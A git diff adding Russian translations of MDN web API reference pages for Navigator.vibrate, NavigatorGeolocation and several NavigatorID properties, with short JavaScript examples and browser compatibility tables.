+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Метод <strong><code>Navigator.vibrate()</code></strong> пульсирует вибрационным обурудованием на устройстве, <span id="result_box" lang="ru"><span class="hps">если</span> <span class="hps">такое аппаратное обеспечение</span> <span class="hps">существует. Если устройство не поддерживает вибрацию, этот метод не имиеет ни какого эффекта.</span></span> Если шаблон вибрации уже в процессе выполнения, когда метод вызван, предыдущий шаблон останавливается и вместо него начинается новый.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернет <code>false</code>, иначе вернет <code>true</code>. Если шаблон ведет к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>successBool</em> = window.navigator.vibrate(<em><var>pattern</var></em>);
+</pre>
+
+<dl>
+ <dt><em>pattern</em></dt>
+ <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрирации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">опреднленное</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочередно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd>
+</dl>
+
+<p>Переданное значение 0 или пустой массив, или массив содержащий все нули отменяет любой шаблон вибрации запущеный в текущий момент.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">window.navigator.vibrate(200); // Вибрировать 200ms
+window.navigator.vibrate([100,30,100,30,100,200,200,30,200,30,200,200,100,30,100,30,100]); // Вибрировать 'SOS' на азбуке Морзе.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Связанный со спецификацией недавний редакторский черновик; <span id="result_box" lang="ru"><span class="hps">W3C</span> <span class="hps">версия</span> <span class="hps">REC</span><span>.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop("11.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}} (no prefix) [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoMobile("16.0")}} (no prefix) [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Когда шаблон вибрации слишком долгий или какой-либо из его элементов слишком большой, до Firefox 26 и включая его , Gecko сбрасывал исключение, вместо возврата <code>false</code> ({{bug("884935")}}). До Firefox 32 и далее, возвращалось <code>true</code>, но обрезался шаблон ({{bug(1014581)}}).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorgeolocation/index.html b/files/ru/web/api/navigatorgeolocation/index.html
new file mode 100644
index 0000000000..0132336c03
--- /dev/null
+++ b/files/ru/web/api/navigatorgeolocation/index.html
@@ -0,0 +1,102 @@
+---
+title: NavigatorGeolocation
+slug: Web/API/NavigatorGeolocation
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>NavigatorGeolocation</strong></code> содержит метод, позволяющий объектам реализовывать его,, получая {{domxref("Geolocation")}} экземпляр объекта.</p>
+
+<p>Здесь нет объектов типа <code>NavigatorGeolocation</code>, но некоторые интерфейсы, например, {{domxref("Navigator")}} реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>NavigatorGeolocation</code></em><em> не наследует каких-либо свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("Geolocation")}} позволяющий получить доступ к местоположению устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><code>Интерфейс </code></em><em><code>NavigatorGeolocation</code></em><em> ни реализует, ни наследует  никаких методов.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/appcodename/index.html b/files/ru/web/api/navigatorid/appcodename/index.html
new file mode 100644
index 0000000000..7f215df4c3
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appcodename/index.html
@@ -0,0 +1,120 @@
+---
+title: NavigatorID.appCodeName
+slug: Web/API/NavigatorID/appCodeName
+translation_of: Web/API/NavigatorID/appCodeName
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p><strong><code>NavigatorID.appCodeName</code></strong> всегда возвращает<code>'Mozilla'</code> в любом браузере. Это свойство сохраняется только для совместимости.</p>
+
+<div class="note"><strong>Примечание:</strong> Не полагаетесь на это свойство, чтобы получить настоящее имя продукта. Все браузеры возвращают "Mozilla" в качестве значения свойства.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">codeName = window.navigator.appCodeName
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><code>codeName</code> это внутреннее имя браузера в виде {{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">console.log(window.navigator.appCodeName);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appcodename', 'NavigatorID.appCodeName')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.product")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/navigatorid/appname/index.html b/files/ru/web/api/navigatorid/appname/index.html
new file mode 100644
index 0000000000..536708fca2
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appname/index.html
@@ -0,0 +1,102 @@
+---
+title: NavigatorID.appName
+slug: Web/API/NavigatorID/appName
+translation_of: Web/API/NavigatorID/appName
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p>Свойство <strong><code>NavigatorID.appName </code></strong>возвращает название браузера. HTML5 спецификация также позволяет любому браузеру вернуть <code>Netscape</code>", по причине совместимости.</p>
+
+<p><strong>Примечание:</strong> не полагайтесь на это свойство для получения коректного имени браузера.<span id="result_box" lang="ru"><span class="hps">В большинстве браузеров</span> <span class="atn hps">(</span><span>Firefox</span><span>, как</span><span>, Chrome</span><span>, Safari</span><span>, Opera</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>)</span> <span class="hps">возвращаемой строкой будет</span> <span class="atn hps">"</span><span>Netscape</span><span>"</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>appName</var> = window.navigator.appName
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><code>appName</code> это имя браузера в виде строки.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.appName);
+// показывает имя браузера.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appName', 'NavigatorID.appName')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.appCodeName")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/appversion/index.html b/files/ru/web/api/navigatorid/appversion/index.html
new file mode 100644
index 0000000000..676e3cf881
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appversion/index.html
@@ -0,0 +1,103 @@
+---
+title: NavigatorID.appVersion
+slug: Web/API/NavigatorID/appVersion
+translation_of: Web/API/NavigatorID/appVersion
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Возвращает версию</span> <span class="hps">браузера</span> <span class="hps">в виде <code>строки</code></span><span>.</span> <span class="hps">Это может быть либо</span> <span class="hps">обычный</span> <span class="hps">номер версии</span><span>,</span> <span class="atn hps">например, "</span><span>5.0"</span> <span class="hps">или</span> <span class="hps">номер версии</span> <span class="hps">с </span><span class="hps">более детальной информацией</span><span>.</span></span> <span id="result_box" lang="ru"><span>Спецификация HTML5</span> <span class="hps">позволяет любому</span> <span class="hps">браузеру</span> <span class="hps">вернуть</span> <span class="atn hps">"</span><span>4,0</span><span>"</span><span>,</span> <span class="hps">по причине</span> <code><span class="hps">совместимости.</span></code></span></p>
+
+<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span></strong><span>:</span> <span class="hps">Не полагайтесь</span> <span class="hps">на это свойство для </span>получения <span class="hps">правильной версии</span> <span class="hps">браузера. </span></span>В браузерах на основе Geko (таких как Firefox), и основанных на WebKit (таких как Chrome и Safari) возвращаемое значение начинается с "5.0" с последующей информацией о платформе. <span id="result_box" lang="ru"><span class="hps">В Opera</span> <span class="hps">10 и/или</span> <span class="hps">более новой</span> <span class="hps">версии</span>, <span class="hps">возвращаемое значение</span> <span class="hps">не соответствует</span> <span class="hps">актуальной версии</span> <span class="hps">браузера</span><span>.</span></span></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.navigator.appVersion
+</pre>
+
+<h3 id="Returned_value" name="Returned_value">Значение</h3>
+
+<p><code>ver</code> номер версии браузера в виде {{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">alert("Your browser version is reported as " + navigator.appVersion);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>Свойство window.navigator.userAgent</code> может содержать номер версии (например  "<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1</code>"), но вы должны быть в курсе того как легко изменить строку пользовательского агента (user agent) и "обмануть" другие браузеры, платформы или пользовательские агенты, а также опрометчивых вендоров браузеров самими этими свойствами.</p>
+
+<p>Свойства <code>window.navigator.appVersion</code>, <code>window.navigator.appName</code> и <code>window.navigator.userAgent</code> используются для "снифинга браузера" кодом. Т.е. скрипты <span id="result_box" lang="ru"><span>которые пытаются</span> <span class="hps">выяснить,</span> <span class="hps">какой браузер</span> <span class="hps">вы используете, и</span> <span class="hps">настроить</span> <span class="hps">страницы</span> <span class="hps">соответственно</span><span>.Это приводит к ситуации, когда браузерам приходится возвращать поддельное значение</span></span> этого свойства, что бы не быть заблокированными некоторыми веб-сайтами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appVersion', 'NavigatorID.appVersion')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/api/navigatorid/index.html b/files/ru/web/api/navigatorid/index.html
new file mode 100644
index 0000000000..4366e145b4
--- /dev/null
+++ b/files/ru/web/api/navigatorid/index.html
@@ -0,0 +1,78 @@
+---
+title: NavigatorID
+slug: Web/API/NavigatorID
+translation_of: Web/API/NavigatorID
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <code><strong>NavigatorID </strong></code>содержит методы и свойства, позволяющие идентифицировать браузер.</p>
+
+<p>В нем нет объекта типа <code>NavigatorID</code>, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфей <code>NavigatorID</code></em><em> не наследует никаких других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}</dt>
+ <dd>Всегда возвращает <code>'Mozilla'</code>, в других браузерах.<code> </code><span id="result_box" lang="ru"><span class="hps">Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">официальное название</span> <span class="hps">браузера</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает версию браузера в виде строки. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>
+ <div id="gt-src-tools">
+ <div><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">строку, представляющую</span> собой <span class="hps">платформу</span> <span class="hps">браузера</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></div>
+ </div>
+ </dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Всегда возвращает <code>'Gecko'</code> в других браузерах.<span id="result_box" lang="ru"><span class="hps"> Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости.</span></span></dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает строку пользовательского агента (user agent) для текущего браузера.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorID</code></em><em> не наследует других методов.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}</dt>
+ <dd>Всегда возвращает <code>false</code>. Функции JavaScript taint/untaint были удалены в JavaScript 1.2. <span class="short_text" id="result_box" lang="ru"><span class="hps">Этот метод</span> <span class="hps">сохраняется только</span> <span class="hps">для</span> <span class="hps">целей</span> <span class="hps">совместимости</span></span>. Not available in workers.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><code>Добавлено свойство appCodeName</code> и метод <code>taintEnabled()</code> для совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+
+
+<p>{{Compat("api.NavigatorID")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Реализован в интерфейсах: {{domxref("Navigator")}} и {{domxref("WorkerNavigator")}}.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html
new file mode 100644
index 0000000000..27636a7722
--- /dev/null
+++ b/files/ru/web/api/navigatorid/platform/index.html
@@ -0,0 +1,61 @@
+---
+title: NavigatorID.platform
+slug: Web/API/NavigatorID/platform
+tags:
+  - API
+  - Navigator
+  - NavigatorID
+  - Property
+  - Refe
+  - platform
+translation_of: Web/API/NavigatorID/platform
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надежный ответ</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>platform</em> = <em>navigator</em>.platform
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}, идентифицирующий платформу, на которой работает браузер, или выводит пустую строку, если браузер отказывается (или не может) идентифицировать платформу. <code>platform</code> - это строка, которая должна быть пустой строкой или строкой, представляющей платформу, на которой выполняется браузер.</p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Например: "<code>MacIntel</code>", "<code>Win32</code>", "<code>FreeBSD i386</code>", "<code>WebTV OS</code>"</span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre><code>console.log(navigator.platform);</code></pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Большинство браузеров, включая Chrome, Edge и Firefox 63 и более поздние, возвращают «Win32», даже если работают в 64-разрядной версии Windows. Internet Explorer и версии Firefox до версии 63 по-прежнему сообщают «Win64».</p>
+
+<p>В Firefox, <code>general.platform.override</code> можно использовать для переопределения значения, которое в противном случае было бы возвращено этим свойством.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-platform', 'NavigatorID.platform')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Текущее описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{Compat("api.NavigatorID.platform")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html
new file mode 100644
index 0000000000..8abf33f7b1
--- /dev/null
+++ b/files/ru/web/api/navigatorid/product/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorID.product
+slug: Web/API/NavigatorID/product
+translation_of: Web/API/NavigatorID/product
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p>Свойство <strong><code>NavigatorID.product </code></strong>возвращает имя продукта текущего браузера.</p>
+
+<div class="note"><strong>Примечание:</strong> Не полагайтесь на это свойство для получения настоящего имени продукта. Все браузеры возвращаеют "Gecko" в качестве значения этого свойства.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>productName</em> = window.navigator.product
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;script&gt;
+function prod() {
+  dt = document.getElementById("d");
+  dt.innerHTML = window.navigator.product;
+}
+&lt;/script&gt;
+
+&lt;button onclick="prod();"&gt;product&lt;/button&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;!-- вернет "Gecko" --&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>В браузерах на основе Gecko  <code>product</code> соостветствует части полной строки агента пользователя которая идет первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p>
+
+<p>В браузере на основе WebKit <code>product </code>вернет "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p>
+
